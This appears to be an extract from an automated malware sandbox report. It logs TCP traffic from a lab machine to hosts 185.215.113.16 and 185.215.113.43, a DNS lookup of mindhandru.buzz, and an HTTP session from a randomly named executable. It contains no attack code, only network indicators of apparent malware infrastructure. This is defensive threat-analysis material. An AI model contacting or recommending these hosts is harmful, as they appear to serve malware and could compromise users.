Dec 27, 2024 15:01:25.359181881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.359214067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.359251022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.364630938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.364653111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.364737988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.364809036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.364857912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.364871979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.365940094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.365966082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.366000891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.366880894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.367017984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.367089033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.367950916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.368030071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.368087053 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.368993044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.369050980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.369137049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.370189905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.370218039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.370265007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.371099949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.371156931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.371190071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.372181892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.372530937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.372591019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.373321056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.373415947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.373467922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.374278069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.374430895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.374480963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.375363111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.375416994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.375462055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.376388073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.376437902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.376439095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.377417088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.377588987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.377643108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.378549099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.378632069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.378686905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.379566908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.379633904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.379719019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.380876064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.381604910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.407324076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.407428026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.407497883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.407627106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.407799959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.408544064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.408570051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.408618927 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.408669949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.409358978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.452584028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.474530935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.474621058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.474771976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.475038052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.481626987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.481774092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.481869936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.482132912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.482182026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.482239008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.483211994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.483264923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.483352900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.484225988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.487986088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.489979029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.490120888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.490406990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.490474939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.490684986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.490771055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.490817070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.491643906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.491693020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.491736889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.492007971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.492049932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.492784023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.492868900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.492912054 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.494174004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.494194984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.494261026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.495198011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.495295048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.495999098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.496049881 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.496151924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.497179985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.497200012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.497231960 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.497257948 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.498120070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.498141050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.498195887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.499104977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.499253035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.499300957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.500210047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.500509024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.500562906 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.501292944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.501312971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.501391888 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.502243042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.502396107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.502458096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.503324032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.503506899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.503563881 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.504360914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.504496098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.504551888 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.506165028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.506186008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.506258965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.506400108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.531991959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.532073975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.532213926 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.532552958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.532568932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.532583952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.532617092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.532638073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.533127069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.533216000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.533276081 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.534111977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.577601910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.599956036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.599975109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.600059032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.600224972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.606782913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.606803894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.606893063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.607197046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.607292891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.607340097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.608304024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.608388901 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.608417988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.614717007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.615163088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.615175962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.615247011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.615308046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.615430117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.615470886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.616357088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.616437912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.616492987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.617177963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.617192030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.617243052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.618161917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.618993044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.619049072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.619210005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.619221926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.619261026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.620333910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.620445013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.620503902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.621268034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.621382952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.621431112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.622409105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.622648001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.622705936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.623723984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.623738050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.623788118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.808788061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:02:06.135482073 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:06.262861967 CET	80	49869	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:06.262952089 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:06.263237953 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:06.382709026 CET	80	49869	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:07.656183004 CET	80	49869	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:07.656260014 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.173533916 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.174010992 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.293471098 CET	80	49869	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:09.293543100 CET	49869	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.293659925 CET	80	49876	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:09.293736935 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.297235966 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:09.416662931 CET	80	49876	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:10.651067972 CET	80	49876	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:10.651158094 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.282380104 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.282778025 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.402319908 CET	80	49876	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:12.402360916 CET	80	49885	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:12.402390957 CET	49876	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.402441025 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.402971983 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:12.522397041 CET	80	49885	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:13.789347887 CET	80	49885	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:13.789412022 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.297415018 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.297844887 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.417252064 CET	80	49885	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:15.417330027 CET	80	49892	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:15.417352915 CET	49885	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.417407036 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.417632103 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:15.537131071 CET	80	49892	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:16.753889084 CET	80	49892	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:16.756016016 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.375267982 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.375654936 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.495145082 CET	80	49901	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:18.495215893 CET	80	49892	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:18.495331049 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.495393991 CET	49892	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.495748043 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:18.615181923 CET	80	49901	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:19.837532043 CET	80	49901	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:19.837707996 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.409188032 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.409574986 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.529102087 CET	80	49901	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:21.529129028 CET	80	49908	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:21.529170036 CET	49901	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.529228926 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.529494047 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:21.649120092 CET	80	49908	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:23.110661030 CET	80	49908	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:23.110774040 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.734680891 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.735081911 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.855453014 CET	80	49916	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:24.855525970 CET	80	49908	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:24.855609894 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.855631113 CET	49908	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.856021881 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:24.975750923 CET	80	49916	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:26.294034958 CET	80	49916	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:26.294413090 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:27.797084093 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:27.797724009 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:27.917188883 CET	80	49916	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:27.917290926 CET	80	49924	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:27.917339087 CET	49916	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:27.917387962 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:27.917635918 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:28.037117004 CET	80	49924	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:29.253763914 CET	80	49924	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:29.253880978 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:30.875130892 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:30.875519037 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:30.994908094 CET	80	49924	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:30.994976044 CET	80	49931	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:30.995018959 CET	49924	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:30.995098114 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:30.995361090 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:31.114945889 CET	80	49931	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:32.341634035 CET	80	49931	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:32.341886997 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:33.845663071 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:33.846005917 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:33.965554953 CET	80	49931	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:33.965650082 CET	49931	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:33.966080904 CET	80	49939	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:33.966176987 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:33.966811895 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:34.086649895 CET	80	49939	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:35.314733982 CET	80	49939	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:35.315295935 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:36.937520981 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:36.937881947 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:37.057411909 CET	80	49947	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:37.057519913 CET	80	49939	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:37.057563066 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:37.057588100 CET	49939	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:37.079221964 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:37.198685884 CET	80	49947	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:38.497829914 CET	80	49947	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:38.498043060 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.000180960 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.000701904 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.120254993 CET	80	49947	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:40.120343924 CET	49947	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.120383978 CET	80	49954	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:40.120465994 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.120606899 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:40.240189075 CET	80	49954	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:41.466933012 CET	80	49954	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:41.467082024 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.093802929 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.094213009 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.213779926 CET	80	49954	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:43.213851929 CET	80	49963	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:43.213871956 CET	49954	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.213928938 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.214149952 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:43.333591938 CET	80	49963	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:44.602340937 CET	80	49963	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:44.605846882 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.117913008 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.118424892 CET	49968	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.237672091 CET	80	49963	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:46.237847090 CET	80	49968	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:46.237957001 CET	49963	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.237998009 CET	49968	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.464466095 CET	49968	80	192.168.2.5	185.215.113.43
Dec 27, 2024 15:02:46.584002018 CET	80	49968	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:47.636816978 CET	80	49968	185.215.113.43	192.168.2.5
Dec 27, 2024 15:02:47.636919975 CET	49968	80	192.168.2.5	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:00:43.213124990 CET	61417	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:00:43.356684923 CET	53	61417	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 15:00:43.213124990 CET	192.168.2.5	1.1.1.1	0xfa59	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 15:00:43.356684923 CET	1.1.1.1	192.168.2.5	0xfa59	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:00:43.356684923 CET	1.1.1.1	192.168.2.5	0xfa59	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49731	185.215.113.16	80	6204	C:\Users\user\Desktop\mDuCbT8LnH.exe

Timestamp	Bytes transferred	Direction	Data
